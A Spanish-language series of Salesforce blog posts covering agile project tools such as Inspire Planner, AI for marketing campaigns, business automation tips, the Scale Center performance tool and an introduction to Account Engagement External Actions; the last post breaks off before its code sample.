Por el contrario, la herramienta llamada Inspire Planner es una aplicación de gestión de proyectos 100% nativa de Salesforce que es totalmente compatible con las metodologías Scrum y Kanban listas para usar. Inspire Planner tiene más de 130 reseñas de 5 estrellas en AppExchange e incluye todas las funciones estándar, como trabajos pendientes, sprints, puntos de la historia, gráficos de trabajo pendiente y más.
Al ser nativo de Salesforce, Inspire Planner no solo ofrece una integración perfecta con Salesforce, sino que también le permite personalizar completamente la aplicación para agilizar su proceso de gestión de proyectos.
¿Y si necesita la gestión de proyectos tradicional de Waterfall? No se preocupe, Inspire Planner también ofrece funciones avanzadas de gestión de proyectos para esta metodología, incluido un gráfico de Gantt interactivo, gestión de recursos, seguimiento del tiempo, carteras, gestión de riesgos, líneas base, dependencias de tareas avanzadas, ruta crítica, uso compartido externo, gestión de restricciones, automatización. , y mucho más.
Trello
Trello es un sistema fácil de usar basado en tarjetas para visualizar el trabajo y administrar los flujos de trabajo de Kanban. Las tarjetas de Trello pueden representar historias de usuarios o tareas, que se pueden mover entre listas (que representan diferentes etapas de su flujo de trabajo) en un tablero de Trello.
Aunque no tiene el nivel de personalización o las funciones de generación de informes detallados como Inspire Planner y Jira, la simplicidad de Trello lo convierte en una opción atractiva para equipos más pequeños o proyectos simples.
Una mirada más cercana a Inspire Planner
Inspire Planner está diseñado para ser una solución de gestión de proyectos Agile integral pero fácil de usar para Salesforce. El hecho de que sea nativo de Salesforce significa que inherentemente funciona bien con sus datos existentes en Salesforce, evitando por completo la necesidad de integraciones.
Aquí hay algunas razones por las que Inspire Planner podría ser una buena opción para su equipo:
- Soporte ágil completo : Inspire Planner es compatible con las metodologías Scrum y Kanban desde el primer momento para que pueda elegir el mejor enfoque para las necesidades de su proyecto. Puede gestionar fácilmente la acumulación de productos, planificar sprints, realizar un seguimiento de los puntos de la historia, visualizar el trabajo mediante tableros Kanban, gestionar recursos y analizar el progreso con gráficos de evolución.
- Integración perfecta con Salesforce : dado que Inspire Planner vive dentro de su organización de Salesforce, puede vincular directamente sus historias de usuario o tareas a cualquier registro de Salesforce como Oportunidades, Casos y Cuentas, incluidos los registros de sus objetos personalizados. Esto reduce la duplicación de datos y conecta sus datos de Salesforce con sus flujos de trabajo ágiles.
- Colaboración : Aprovecha Chatter de Salesforce para la comunicación, fomentando la colaboración dentro del equipo. También puede compartir el estado del proyecto con las partes interesadas directamente en Salesforce.
- Interfaz intuitiva y familiar : incorpore rápidamente nuevos equipos e impulse la adopción a través de una experiencia de usuario perfecta y una interfaz de usuario familiar. Utilice funciones estándar como Tareas de Salesforce, Chatter, Informes y Paneles, y más.
Elegir la herramienta adecuada para sus necesidades y el tamaño de su equipo
Elegir la herramienta adecuada depende del tamaño de su equipo, la complejidad del proyecto y la metodología Agile que siga. Aquí hay algunas pautas:
- Tamaño del equipo y complejidad del proyecto : para equipos pequeños o proyectos menos complejos, la simplicidad de Trello puede ser ventajosa. Una herramienta más robusta como Jira o Inspire Planner podría ser más adecuada para equipos más grandes o proyectos complejos que requieren flujos de trabajo personalizados, informes detallados y más.
- Integración de Salesforce : si su organización utiliza mucho Salesforce, una aplicación nativa de Salesforce como Inspire Planner podría ser la mejor opción para una integración perfecta. Y si es nuevo en Salesforce, puede mejorar sus habilidades con los mejores recursos de capacitación de Salesforce para comenzar.
- Metodología ágil : si su equipo sigue estrictamente Scrum, tanto Inspire Planner como Jira podrían ser preferibles. Para Kanban, las tres herramientas podrían satisfacer sus necesidades. Para una combinación de metodologías Agile y Waterfall, Inspire Planner sería la mejor opción.
- Presupuesto : El costo podría ser otro factor decisivo. Trello suele ser más rentable para equipos pequeños, mientras que Jira e Inspire Planner ofrecen funciones más avanzadas a un costo mayor.
Conclusión
La incorporación de Agile en Salesforce DevOps realmente puede amplificar la adaptabilidad, la colaboración en equipo, la satisfacción del cliente, la eficiencia y la gestión de riesgos. El énfasis en el desarrollo iterativo y la garantía de calidad garantiza estándares de primer nivel dentro del desarrollo y las operaciones de Salesforce.
Sin embargo, es importante recordar que el corazón de Agile radica en cultivar una mentalidad comprometida con el aprendizaje continuo y la adaptabilidad.
Aquí hay algunas ideas procesables:
- Comprométase con el aprendizaje continuo : anime a su equipo a aprender de cada iteración y use esos conocimientos para impulsar mejoras en los siguientes sprints.
- Acepta el cambio : el cambio es la única constante en Agile. Fomentar un entorno en el que el cambio no solo se acepte, sino que se acoja como una oportunidad para mejorar.
- Fomentar la colaboración : promover una cultura de comunicación abierta y colaboración. Esto puede conducir a soluciones más innovadoras y a un equipo más fuerte.
- Involucrar a las partes interesadas : involucrar regularmente a las partes interesadas en las revisiones de sprint para garantizar que el producto satisfaga las necesidades y expectativas de los usuarios.
- Aproveche las herramientas de manera efectiva : use las herramientas de Salesforce y Agile de manera efectiva para realizar un seguimiento del progreso, administrar los flujos de trabajo y facilitar la comunicación.
Al adoptar estas estrategias, los equipos pueden desbloquear todo el potencial de las metodologías ágiles, lo que lleva a un mayor rendimiento y niveles elevados de satisfacción del cliente.
Seguir leyendo9 formas en que la IA puede ahorrar tiempo, dinero y sufrimiento a los especialistas en marketing
¿Tiene una lista de tareas pendientes de tareas molestas que persisten sobre usted? Estamos hablando de los que se deben hacer para ejecutar una campaña: recopilar y analizar datos, crear líneas de asunto de correo electrónico atractivas, determinar la audiencia adecuada a la que apuntar y mucho más. Estas tareas pueden robarle su tiempo, y tal vez incluso su cordura. Pero ahora hay una manera de reducir ese trabajo pesado, ayudándolo a concentrarse en el éxito de la campaña . Permítanos presentarle su nuevo asistente digital: AI.
A medida que las marcas buscan formas de acercarse a los consumidores, más de la mitad de los especialistas en marketing (62 %) afirman haber invertido en el poder de la IA. Nuestra encuesta State of Marketing más reciente encontró que tres de los cuatro principales casos de uso de IA están relacionados con la automatización, lo que destaca la importancia de aumentar la velocidad y la eficacia.
Echemos un vistazo a 9 formas en que el uso de la IA como asistente digital puede aumentar la eficacia y la eficiencia de sus campañas. Es hora de decir adiós a las tareas de campaña manuales redundantes que los especialistas en marketing desearían no tener que hacer, y deje que la IA lo ayude a aprovechar al máximo su tiempo.
1. Tome mejores decisiones con análisis e información de datos automatizados
AI puede analizar grandes volúmenes de datos de campaña, incluido el comportamiento del cliente, las métricas de rendimiento de la campaña y las tendencias del mercado. Puede identificar patrones, extraer información, detectar correlaciones y proporcionar recomendaciones prácticas para mejorar las estrategias y la orientación de la campaña.
Obtendrá una comprensión más profunda de los clientes y el rendimiento de la campaña, lo que le permitirá tomar decisiones informadas y encontrar el éxito más rápido.
2. Aumente el compromiso y las conversiones con la segmentación de la audiencia
Después de analizar los datos del cliente , su asistente digital de IA puede segmentar las audiencias según la demografía, el comportamiento, las preferencias, el historial de compras y otros atributos importantes. AI elimina el esfuerzo manual requerido para segmentar audiencias y se dirige a clientes específicos con ofertas más relevantes.
Cuando pueda personalizar los mensajes para diferentes segmentos, verá que las campañas tienen más éxito.
Obtenga artículos sobre marketing seleccionados solo para usted, en su bandeja de entrada
3. Anticípese a las necesidades de sus clientes con análisis predictivos
Los modelos predictivos de IA utilizan datos históricos para pronosticar el comportamiento del cliente, como la probabilidad de convertir, abandonar o interactuar con elementos específicos de la campaña.
Esto lo ayuda a mantenerse un paso adelante para abordar de manera proactiva las necesidades de los clientes y presupuestar los recursos de manera efectiva.
4. Ahorre tiempo con la generación y optimización de contenido
Crear contenido único con frecuencia puede ser una de las tareas que consume más tiempo para muchos especialistas en marketing, pero un asistente digital de IA puede ayudar. La IA, impulsada por el procesamiento del lenguaje natural (NLP, por sus siglas en inglés), puede generar contenido, como textos de anuncios, líneas de asunto de correos electrónicos y publicaciones en redes sociales, que resuena con sus clientes .
Puede proporcionar los toques finales para asegurarse de que el contenido esté en su voz y tono. También puede optimizar su contenido mediante el análisis de datos de rendimiento, la identificación de elementos de alto rendimiento y la sugerencia de mejoras.
5. Optimice los flujos de trabajo con la automatización de campañas
La IA puede automatizar varios aspectos de la ejecución de la campaña, como la programación y la implementación de anuncios, el envío de correos electrónicos dirigidos o la gestión de publicaciones en las redes sociales. Esto reduce el esfuerzo manual y garantiza que su campaña se ejecute a tiempo.
¿Qué puedes hacer con el tiempo liberado gracias a la IA? Concéntrese en la estrategia y las ideas innovadoras, ayudándole a construir mejores relaciones con los clientes.
Muévete más rápido con IA
Centrarse en la innovación, no en tareas repetitivas. Vea cómo la IA generativa está transformando el marketing.
6. Muestre claramente el éxito de la campaña con seguimiento e informes de rendimiento
Según nuestro informe State of Marketing , el 72 % de los especialistas en marketing de alto rendimiento pueden analizar datos en tiempo real, lo que les otorga una ventaja a la hora de responder y optimizar el rendimiento de la campaña.
Su asistente digital de IA puede automatizar el seguimiento y la generación de informes de las métricas de rendimiento de la campaña, de formas que cualquiera puede entender. La IA puede generar paneles en tiempo real e informes personalizados agradables a la vista, lo que le brinda a usted y a sus partes interesadas una visión clara del rendimiento de la campaña y las métricas clave, sin la necesidad de hacerlo todo a mano.
Esto lo ayuda a tomar decisiones basadas en datos, optimizar campañas sobre la marcha y demostrar el valor de sus esfuerzos a las partes interesadas.
7. Vea qué funciona mejor con las pruebas A/B
AI puede realizar pruebas A/B en elementos de campaña, como variaciones de anuncios, páginas de destino o diseños de correo electrónico. Analiza los datos de rendimiento , identifica las variaciones ganadoras y lo ayuda a refinar continuamente sus estrategias.
Unifique su equipo de marketing
Cuando reúne todos sus datos de marketing y colabora con sus equipos en una sola plataforma, se moverá de manera más eficiente y estará más cerca de sus clientes. Vea cómo puede empezar.
8. Aumente los ingresos con la puntuación y el fomento de clientes potenciales
Con IA, puede automatizar la puntuación de clientes potenciales mediante el análisis de los datos, el comportamiento y el historial de participación de los clientes potenciales. Asigna puntajes a los clientes potenciales en función de su probabilidad de conversión y ofrece contenido personalizado para mover a los clientes potenciales a través del embudo de ventas.
Con la puntuación de clientes potenciales de AI, su equipo puede centrarse en los clientes potenciales más prometedores y fomentar las relaciones a gran escala.
9. Mejora la comunicación con herramientas de colaboración interna
AI brilla como su asistente digital cuando maneja las necesidades de colaboración interna. Puede utilizar esta tecnología para automatizar la mensajería en su departamento, así como la gestión de proyectos, la asignación de tareas y el uso compartido de archivos. Los equipos pueden incluso aplicar automatizaciones de flujo de trabajo que programen reuniones, envíen recordatorios u organicen archivos, ocupándose de los pequeños detalles para que pueda concentrarse en el éxito de la campaña .
La IA está transformando la gestión de campañas al permitir que los equipos automaticen tareas manuales, liberando a los especialistas en marketing para trabajar en ideas más generales. Con AI como su aliado, puede optimizar sus campañas, ver mejores resultados y comenzar a enfocarse en sus próximos éxitos.
Vea lo que la IA puede hacer
Aprenda cómo la IA puede ayudarlo a moverse de manera más eficiente y crear relaciones significativas con los clientes.
5 consejos para incorporar la automatización en su negocio
Seamos realistas: el trabajo mundano y repetitivo puede ser un lastre. De hecho, el 77 % de los trabajadores de escritorio dicen que la automatización de las tareas rutinarias mejoraría su productividad. Sin embargo, el 52% de las empresas todavía tienen demasiados procesos y tareas manuales. La automatización empresarial puede ser la clave para cerrar esta brecha.
La automatización empresarial conduce a clientes leales , empleados más felices, mejor eficiencia y ahorro de costos. ¿Y qué mejor manera de trazar un camino hacia la automatización empresarial que aprender de aquellos que ya lo han hecho? ¿No está seguro de por dónde empezar con la automatización? Esto ayudará .
En un informe para Salesforce , IDC entrevistó a más de 1600 líderes empresariales y de TI, en varias industrias en Asia, Europa, América del Norte y América del Sur, sobre cómo han tenido éxito con la automatización en sus empresas. A partir de esta investigación de IDC, aquí hay cinco consejos que puede usar para ayudar a incorporar la automatización en su propia práctica.
Acelere la automatización como los profesionales
Escuche a más de 1600 líderes empresariales y de TI de todo el mundo sobre las tendencias de automatización y lo que pueden hacer por su empresa.
Tabla de contenido
Sugerencia 1: Genera impulso en un área y luego expande a toda la empresa
Consejo 2: Cree un centro de automatización de excelencia
Consejo 3: automatice los flujos de trabajo de TI para ayudar a los departamentos de TI sobrecargados
Consejo 4: utilice un enfoque ágil para la automatización empresarial
Sugerencia 5: use código bajo para acelerar el tiempo de comercialización
Sugerencia 1: Genera impulso en un área y luego expande a toda la empresa
Los mejores procesos candidatos tienen pasos repetitivos, un alto volumen de tareas y datos de múltiples sistemas. Elegir un proceso maduro que haya sido probado y ajustado con el tiempo es su mejor apuesta. Si un proceso cambia con frecuencia o implica un análisis cualitativo, probablemente no sea un buen candidato para la automatización. Estos son los pasos para ayudarlo a comenzar.
1. Investiga
Para empezar, deberá determinar:
- Qué proceso quieres transformar
- Cuánto se tarda
- Personas y departamentos involucrados
- Sistemas y datos que posibilitan el proceso
2. Cuantificar los costos
Sume los costos del proceso que desea automatizar en todos los departamentos involucrados o afectados. Algunas cosas para pensar en este paso:
- ¿Cuánto más le cuestan las ineficiencias en tiempo extra del personal?
- ¿Está pagando por envíos acelerados?
- ¿Está contabilizando las horas extra de los contratistas?
- ¿Existen costes negativos en la experiencia del cliente?
3. Definir el estado deseado
Para definir su estado deseado, deberá ingresar a los detalles de su proceso automatizado. Aquí hay algunas preguntas para hacer:
- ¿Cómo será su nuevo proceso?
- ¿Quién debería estar involucrado?
- ¿Cuánto tiempo debe tomar el proceso automatizado?
Recuerde incorporar los comentarios de los clientes en este paso.
4. Elige las herramientas adecuadas
Al elegir herramientas de automatización empresarial, es importante seleccionar proveedores con una reputación estelar en procesos comerciales y automatización de flujos de trabajo, que también pueden actuar como sus asesores comerciales de confianza. Algunas preguntas para empezar a rodar:
- ¿Qué dicen los clientes (o clientes descontentos) sobre las herramientas?
- ¿Tiene las características que su equipo necesita para tener éxito?
- ¿Ofrece incorporación y atención al cliente durante toda la vida útil del servicio?
SUGERENCIA PROFESIONAL: asegúrese de que la herramienta integre sus datos existentes y automatice los procesos con clics en lugar de una codificación extensa.
5. Probar, implementar, evaluar
Ahora que ha seleccionado una herramienta y automatizado su proceso, está listo para comenzar. Por supuesto, deberá probar su nuevo proceso antes de implementarlo. Así es como descubrirá si necesita refinarlo o modificarlo.
Finalmente, haga un balance de las mejoras en las medidas clave. Considere estas preguntas:
- ¿Cuánto tardan los usuarios en completar los flujos de trabajo automatizados?
- ¿La experiencia del usuario o del cliente está a la altura de sus expectativas?
- ¿Sigue siendo el costo un problema?
Obtenga artículos seleccionados solo para usted, en su bandeja de entrada
Consejo 2: Cree un centro de automatización de excelencia
Un centro de excelencia de automatización (COE) puede marcar la diferencia en su viaje hacia la transformación digital . El objetivo del COE es supervisar el desarrollo y el lanzamiento de sus esfuerzos de automatización . Invite a personas clave de TI y del negocio para ayudar a tomar las mejores decisiones para el futuro.
Así es como puede configurar su COE de automatización para el éxito:
- Elige el equipo adecuado. Seleccione a las partes interesadas que adopten el cambio y estén listas para defender las mejoras del proceso. Asegúrese de incluir un director de proyecto y al menos un patrocinador ejecutivo.
- Desarrollar un marco de automatización. Para optimizar su inversión en automatización, el COE debe establecer un marco para personas, procesos, sistemas e infraestructura.
- Defina una hoja de ruta de automatización. La automatización empresarial no es un evento singular. Cree una hoja de ruta de automatización, un plan de alto nivel que describa los pasos necesarios para implementar pruebas automatizadas, y obtenga la aprobación de las partes interesadas clave.
- Ejecutar flujos de trabajo de automatización . Esta es la parte táctica del trabajo del COE. Identifique los puntos débiles, priorícelos y supervise la automatización de procesos.
- Mide el éxito. Establezca indicadores clave de rendimiento (KPI) para medir el impacto en la experiencia de los empleados y los clientes, la eficiencia operativa y la rentabilidad.
Consejo 3: automatice los flujos de trabajo de TI para ayudar a los departamentos de TI sobrecargados
Aunque los recursos de TI de calidad son difíciles de encontrar, la acumulación de proyectos sigue aumentando. Recientemente descubrimos que a los departamentos de TI se les pide que entreguen un 41 % más en 2023 que en 2022.
La automatización de procesos de TI repetitivos alivia al personal de TI sobrecargado de trabajo y lo libera para expandir sus esfuerzos en toda la empresa.
Aquí hay algunos procesos con los que la automatización empresarial puede ayudar, para diferentes equipos:
- Operaciones de TI : monitoreo de sistemas, seguridad de red, implementación de infraestructura
- Servicios de TI : soporte al usuario final, aprovisionamiento de software, soporte de software
- Gestión de activos : aprovisionamiento de activos, desmantelamiento, auditoría, informes
- Gestión de datos : copia de seguridad y redundancia de datos, limpieza de datos
¿Quién debe participar de TI? Esto es lo que dijeron los responsables de la toma de decisiones sobre automatización:
- 72% dijo que los desarrolladores de TI
- 65% dijo operaciones de TI
- 49% dijo administradores de aplicaciones
- 42% dijo integradores de sistemas
Consejo 4: utilice un enfoque ágil para la automatización empresarial
El enfoque tradicional de “cascada”, en el que el análisis, la especificación, el diseño y las pruebas se realizan de forma secuencial, no funciona bien para la automatización empresarial. Con el enfoque en cascada, es posible que se encuentre cerca de la implementación cuando surja un problema grave, como un diseño que no se puede escalar.
La metodología ágil enfatiza el trabajo en equipo multifuncional y las pruebas continuas. Y aunque la mayoría de los desarrolladores de software la usan, la metodología ágil no es solo para desarrolladores. Su ciclo continuo de planificación, ejecución, evaluación y mejora se puede aplicar a la automatización de procesos comerciales. Una de sus mayores ventajas es que reúne equipos multifuncionales que planifican, prueban, implementan y rediseñan procesos automatizados en ciclos de liberación rápida.
Código bajo, mucho tiempo de comercialización
Elija una plataforma de código bajo que funcione para usted. Nuestra guía lo desglosa todo y describe claramente lo que necesita para comenzar a innovar hoy.
Sugerencia 5: use código bajo para acelerar el tiempo de comercialización
¿A quién no le gusta una integración empresarial y de TI más estrecha? Sin embargo, solo el 56 % de las organizaciones utilizan soluciones de código bajo , un enfoque de desarrollo que requiere poca o ninguna codificación para crear aplicaciones y procesos, para potenciar la automatización.
El desarrollo de software tradicional es largo y costoso. Con una plataforma de desarrollo de aplicaciones de bajo código ( LCAP ), los usuarios empresariales y de TI pueden desarrollar aplicaciones y flujos de trabajo automatizados a través de una interfaz gráfica de usuario ( GUI ) amigable. Esto puede marcar la diferencia cuando el personal de TI está sujeto a presiones o restricciones.
Hay una razón más para optar por el código bajo. Los esfuerzos de automatización empresarial abarcan negocios y TI. Usando código bajo, los usuarios comerciales pueden trabajar en estrecha colaboración con TI para desarrollar modelos de datos y lógica de procesos con solo hacer clic.
Primeros pasos con la automatización empresarial
La automatización empresarial no tiene por qué ser complicada. Con los consejos que ha aprendido, puede comenzar a implementar flujos de trabajo de automatización hoy mismo . Al desarrollar un área, crear un COE, automatizar para sus equipos de TI y usar un enfoque ágil y código bajo, tiene un comienzo saludable para un proceso de automatización empresarial exitoso. Ahora ve a automatizar.
Seguir leyendoSalesforce Scale Center está generalmente disponible ☁️
Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
…
Estamos encantados de anunciar la disponibilidad general de Scale Center , una potente aplicación diseñada para ayudar a nuestros clientes a optimizar sus implementaciones de Salesforce con información mejorada sobre rendimiento y escalabilidad. Scale Center revoluciona la forma en que los equipos abordan el desarrollo, las pruebas y el monitoreo al proporcionar acceso de autoservicio y casi en tiempo real a las métricas de rendimiento de la organización y a los conocimientos prácticos.
En esta publicación, escuchará cómo Salesforce Scale Center ayuda a los ingenieros, arquitectos, desarrolladores y administradores de rendimiento a evaluar y resolver de manera proactiva los problemas de rendimiento en sus implementaciones de Salesforce, lo que permite a las empresas escalar con confianza.
La importancia de construir a escala
Escalar de manera eficiente es un aspecto crítico del diseño e implementación de aplicaciones en la plataforma Salesforce. Muchos clientes solo se dan cuenta de los problemas de escalabilidad una vez que los usuarios finales comienzan a informar un rendimiento y usabilidad degradados; en este punto, estos problemas ya han afectado el negocio. Diseñar para el futuro y predecir y simular el tráfico comercial futuro puede ser un desafío. Si bien algunos errores pueden detectarse durante la fase de diseño, la mayoría de los errores ocurren solo durante el tiempo de ejecución en producción y, a veces, se manifiestan durante las cargas máximas.
Salesforce Scale Center proporciona la visibilidad necesaria de las métricas de rendimiento necesarias para aislar los puntos críticos y la capacidad de profundizar en estos puntos críticos para el análisis de la causa raíz y la guía de remediación. Con Salesforce Scale Center, ahora puede abordar la escalabilidad de la aplicación de manera proactiva en lugar de reactivamente, asegurando soluciones más disponibles, receptivas y de rendimiento para su usuario final.
Obtenga una visión completa de sus métricas de rendimiento
Salesforce Scale Center permite a los clientes ver una instantánea de las métricas de rendimiento de su organización durante un intervalo de tiempo definido. A los clientes se les proporciona un panel único de visualización de errores comunes, incluidos inicios de sesión fallidos, errores de Apex simultáneos y errores de Rowlock. Además, los clientes pueden ver las métricas clave visualizadas en un gráfico durante la duración del intervalo de tiempo, incluido el tiempo de solicitud promedio, el tiempo de CPU de la base de datos y los errores totales. Con esta vista, los clientes pueden identificar rápidamente puntos críticos de rendimiento y escala.
Llevar a cabo un análisis profundo de un problema de rendimiento
Caso de uso: optimización del rendimiento de la base de datos
Salesforce Scale Center no se detiene simplemente en la visibilidad. Una vez que se observan puntos críticos, problemas y picos dentro de las métricas de rendimiento, los clientes pueden investigar los componentes y sistemas que están causando el problema.
Echemos un vistazo a nuestro primer caso de uso: optimizar el rendimiento de la base de datos. Imagine un escenario en el que los usuarios finales informen que el proceso de registro de su aplicación lleva mucho tiempo y falla con frecuencia. A continuación, explicaremos cómo puede abordar este problema utilizando Salesforce Scale Center.
- Navegue hasta el gráfico de CPU de la base de datos .
2. En el gráfico, haga clic y arrastre para resaltar los picos en las métricas de rendimiento.
3. Seleccione el tipo de informe e inicie un análisis de la base de datos.
4. Cambie a la pestaña Análisis de rendimiento para ver el informe generado.
5. Dentro del informe, puede identificar las principales consultas SOQL por tiempo de CPU de base de datos y procesos DML para solucionar qué acciones específicas están provocando una mala experiencia del usuario final.
Los tipos de informes disponibles en Salesforce Scale Center incluyen: Resumen de Apex, Apex concurrente, Rendimiento de base de datos, Rendimiento de flujo, Límites reguladores, Vistas de lista e informes, Rendimiento de integraciones y Bloqueo de fila. Adicionalmente, existe un informe consolidado que engloba todos los análisis.
Al seguir estos pasos y aprovechar el poder de Salesforce Scale Center, los desarrolladores pueden abordar los cuellos de botella en el rendimiento y optimizar los procesos para mejorar la eficiencia.
Comparar el rendimiento en diferentes períodos de tiempo
Salesforce Scale Center permite a los clientes comparar las métricas de rendimiento de la organización en diferentes períodos de tiempo. Los casos de uso clave incluyen:
- Preparación para la implementación de producción:
- Realice pruebas de rendimiento en un entorno de espacio aislado
- Analice los resultados de las pruebas en Scale Center para identificar cuellos de botella o problemas de rendimiento antes de implementarlos en producción
- Evaluación del impacto posterior a la implementación:
- Después de un lanzamiento importante o una implementación de funciones en producción, aproveche Scale Center para comparar las métricas de la organización antes y después de la implementación.
- Determinar si la implementación ha tenido algún impacto negativo en el desempeño general de la organización.
- Análisis del rendimiento durante los días pico:
-
- Utilice la función de comparación de Scale Center para evaluar el impacto en el rendimiento de la organización durante los días pico.
- Compare las métricas de tráfico y rendimiento con el comportamiento de referencia, lo que ayuda a identificar cualquier cambio o problema potencial.
Cómo comparar períodos de tiempo en Salesforce Scale Center
- Proporcione un rango de tiempo base y un rango de tiempo de comparación.
2. Compare las métricas de primera línea.
3. Compare los gráficos de rendimiento de la organización.
Al aprovechar la función de comparación de Scale Center, los desarrolladores pueden obtener información valiosa sobre el rendimiento de la organización, identificar áreas de optimización y garantizar un proceso de implementación fluido y eficiente.
Comience con Salesforce Scale Center
Scale Center es de uso gratuito y está disponible en todas las organizaciones de sandbox de copia completa y de producción de UE.
Consideraciones del producto:
- Scale Center no tiene impacto en el rendimiento de la organización y no accede a los datos de su organización
- Tenga en cuenta que Scale Center no es compatible con Government Cloud Plus
- Si desea que Scale Center esté habilitado en una organización fuera de UE, comuníquese con su representante de cuenta
Para acceder al Centro de escala:
- Navegue a Configuración.
- Ingrese "Centro de escala" en el cuadro Búsqueda rápida y haga clic en la pestaña Rendimiento de la organización en la hoja Rendimiento.
- Habilite Scale Center para su organización activando la opción Habilitar Scale Center .
Tenga en cuenta que las métricas de rendimiento pueden tardar hasta dos horas en aparecer después de habilitar Scale Center.
Más recursos
Sobre el Autor
Justin Saintil es Gerente de Producto Asociado en Salesforce y trabaja en la Cartera de Productos de Escalabilidad.
Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.
Agregar a Slack Suscríbete a RSS
Comenzando con Acciones Externas ☁️
Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
…
Tuve excelentes conversaciones con clientes y socios en Connections este año, así como a través de la comunidad Trailblazer de MC Account Engagement , con respecto a las acciones externas de Account Engagement . Seguía surgiendo una pregunta: "¿Cómo empiezo con las acciones externas?" En esta publicación, aprenderá qué son las acciones externas, cómo configurarlas y cómo probarlas. Además, sintonice una próxima sesión de codeLive el 20 de julio a las 10 a. m. PT , donde realizaré una demostración de codificación en vivo para mostrarle cómo crear una acción externa y responder sus preguntas.
¿Qué son las Acciones Externas?
Las acciones externas son una parte clave deMarketing App Extensions , ya que proporcionan una forma de desencadenar una acción en un sistema externo. El otro componente es Actividades externas, que proporciona una forma de activar la automatización de la participación de la cuenta en función de un evento de participación que ocurre en un sistema externo. Piense en ello como las dos caras de una moneda, las acciones se activan, las actividades se activan. Combinadas, forman una aplicación de extensibilidad de automatización para un servicio, por lo que puede tener una extensión de aplicación de marketing por SMS, por ejemplo.
Por este motivo, las acciones externas se empaquetan en una extensión de aplicación de marketing. En el momento de escribir este artículo, las actividades externas aún no se pueden empaquetar, pero eventualmente también se empaquetarán en la extensión de la aplicación de marketing.
Si desea conectar una aplicación de terceros para automatizar la ejecución de una acción de prospecto en ese sistema, entonces esta es definitivamente la función para usted. En esta publicación, profundizaremos en el lado de la acción externa de las extensiones de aplicaciones de marketing.
¿Cuáles son algunos buenos casos de uso para las acciones externas?
Bueno, si me preguntan, ¡diría absolutamente todo! Puede que estés pensando: “¡Claro, todo el mundo dice eso!”. Sin embargo, las posibilidades que desbloquean las acciones externas son realmente amplias. Si alguna vez ha dicho: "Me gustaría que cuando un prospecto llegue a este paso, yo pudiera <insertar deseo aquí>", entonces deseaba una acción externa.
Puede usar una acción externa para registrarse en un seminario web de Zoom desde Account Engagement (consulte el ejemplo en GitHub ). También puede usar una acción externa para enviar un mensaje SMS a través de Twilio, que presentamos en una publicación de blog anterior . Incluso puedes usar acciones externas con webhooks; Usé la función de captura de webhook de Zapier para crear una acción externa que usaba un cliente potencial como desencadenante de un Zap.
¿Qué constituye una acción externa?
Una acción externa consta de una acción invocable de Apex, metadatos de la extensión de la aplicación de marketing, metadatos de una acción externa y una forma de gestionar la autenticación. Los metadatos para las extensiones de la aplicación de marketing y las actividades externas conectan la acción invocable con la participación de la cuenta. Los componentes que se usarán para la autenticación pueden variar según el tipo de autenticación que admita el servicio. Como OAUTH 2.0 es bastante común, el componente que uso más es un proveedor de autorización y Credenciales con nombre . Las credenciales con nombre también facilitan la administración de la autenticación en mi código, y el sistema hace la mayor parte del trabajo.
¿Qué habilidades necesito para trabajar con Acciones Externas?
Con una gran flexibilidad viene la complejidad, por lo que necesitará algunas habilidades en ciertas áreas para construir con éxito una acción externa. Los siguientes son temas clave de los que necesitará una comprensión básica antes de abordar su propia acción externa.
SLDC de Salesforce
Comprender el ciclo de vida del desarrollo de Salesforce es muy importante para tener éxito en general. Recomiendo aprender Visual Studio y el proceso de implementación de la CLI. No se necesita maestría, solo lo básico para poder empezar. Trailhead ofrece una ruta para ayudarlo a configurar su espacio de trabajo .
Documentación de la API REST
El patrón del que hablamos en este artículo se basa en las API REST JSON. Para comprender lo que es posible y recopilar las entradas pertinentes para una acción externa, debe poder leer una especificación API. Consulte las especificaciones de la API de Account Engagement y Twilio .
Implementación de Apex y Apex
Apex Invocable Actions es mi forma preferida de codificar mis acciones externas, ya que me permite la mayor flexibilidad y control. Recomendaría, como mínimo, familiarizarse con la compilación y la implementación de código Apex mediante el proyecto Quick Start: Apex de Trailhead. Para obtener más información, encontré útil el trailmix de Apex Basics . No necesita convertirse en un experto, pero al menos debe estar lo suficientemente informado como para poder leer el código de la aplicación de referencia .
Flujo de Salesforce (opcional)
No necesita conocer Salesforce Flow para aprender Acciones externas. Sin embargo, es una herramienta de prueba muy poderosa para sus acciones externas, lo que facilita la creación de una interfaz de usuario para controlar las entradas durante la prueba. Si está familiarizado con Engagement Studio, Flow será bastante fácil ya que tiene muchos de los mismos conceptos. Utilicé la ruta Crear flujos con Flow Builder para ponerme al día. Otro beneficio de aprender Salesforce Flow es que abre la puerta a la creación de todo tipo de automatización de procesos comerciales.
¿Cómo debo configurar mi entorno de desarrollador?
Es importante configurar sus entornos de desarrollador y contar con las herramientas adecuadas antes de comenzar con las acciones externas. Yo uso las siguientes herramientas.
- Postman : utilizo Postman para explorar una nueva API, por lo que puedo aprender a realizar una solicitud y responder de forma sencilla. Postman también proporciona una manera fácil de generar ejemplos.
- CLI de Visual Studio + Salesforce — Uso Visual Studio para codificar mi acción invocable y la implemento en mi organización de desarrollador. La mayoría de las veces, es simplemente copiar y pegar un ejemplo anterior y editarlo para mi nuevo caso de uso.
- Entorno de desarrollador/sandbox : este es un entorno seguro para construir, desarrollar y empaquetar sus acciones externas. Tenga en cuenta que, en el momento de escribir este artículo, solo admitimos paquetes de primera generación (1GP) , por lo tanto, no configure su organización de desarrollador como Dev Hub.
- Salesforce Flow : personalmente me gusta usar ScreenFlows para probar una acción invocable. Es bueno poder controlar completamente la entrada antes de conectarla a acciones externas y programas ES.
- Consola de desarrollador de Salesforce : esto le permite ver rápidamente el código o ver los registros de sus pruebas de flujo de pantalla.
Patrón básico para llamadas API REST con acciones externas
Si bien puede codificar acciones externas de muchas maneras, existe un patrón básico que recomiendo al realizar llamadas a la API REST.
Las dos etiquetas que debe recordar son InvocableVariable
, que define las entradas y salidas de la acción invocable, e InvocableMethod
, que es el método a llamar al ejecutar la acción invocable. Puede ver cómo se aplican en el siguiente código de ejemplo.
